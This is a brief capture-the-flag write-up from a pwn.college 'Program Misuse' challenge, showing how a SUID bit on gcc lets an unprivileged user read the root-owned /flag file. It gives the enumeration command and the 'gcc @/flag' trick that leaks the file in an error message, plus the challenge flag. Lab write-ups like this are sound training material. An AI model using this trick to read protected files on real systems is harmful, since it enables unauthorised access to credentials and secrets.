Category: Program Misuse
Platform: pwn.college
Difficulty: Beginner
Date: 2025-07-16
Author: Himanshu Parate

🧠 Summary:

The challenge abuses a SUID bit set on /usr/bin/gcc, allowing an unprivileged user to read the root-owned flag file at /flag.

🔍 Enumeration

ls -l /usr/bin/gcc

Output:

-rwsr-xr-x 1 root root 47480 Sep  5  2019 /usr/bin/gcc
  • The s in -rws indicates it’s a SUID binary.
  • gcc runs with root privileges.

🚀 Exploitation

The gcc has @ option which read additional command-line options from a file.

gcc @/flag

Output:

gcc: error: pwn.college{ohija7-Bp5zIpS8Nc848PscIEAM.dBTOxwSM0IzMyEzW}: No such file or directory
gcc: fatal error: no input files
compilation terminated.